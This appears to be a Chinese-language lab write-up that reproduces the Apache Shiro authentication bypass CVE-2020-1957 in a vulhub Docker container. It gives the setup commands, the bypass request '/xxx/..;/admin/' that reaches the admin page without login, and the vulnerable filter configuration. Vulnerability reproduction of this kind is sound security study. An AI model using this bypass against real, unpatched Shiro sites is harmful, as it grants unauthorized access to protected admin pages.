1.说明
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
在Apache Shiro 1.5.2以前的版本中,在使用Spring动态控制器时,攻击者通过构造..;
这样的跳转,可以绕过Shiro中对目录的权限限制。
2.环境搭建
因为我的本地环境8080端口冲突,首先我要修改docker-compose.yml文件端口号,8080修改为8081
代码语言:javascript复制version: '2'
services:
web:
image: vulhub/shiro:1.5.1
ports:
- "8081:8080"
进入到目录
Userstea90Documentsteagithubvulhub-mastershiroCVE-2020-1957
然后运行
docker-compose up -d
结束之后访问
3.漏洞复现
http://127.0.0.1:8081/
访问会直接跳转到登录
http://192.168.1.102:8081/admin
构造恶意请求/xxx/..;/admin/可以绕过权限校验访问到管理页面
这个应用配置的代码为
代码语言:javascript复制@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
chainDefinition.addPathDefinition("/logout", "logout");
chainDefinition.addPathDefinition("/admin/**", "authc");
return chainDefinition;
}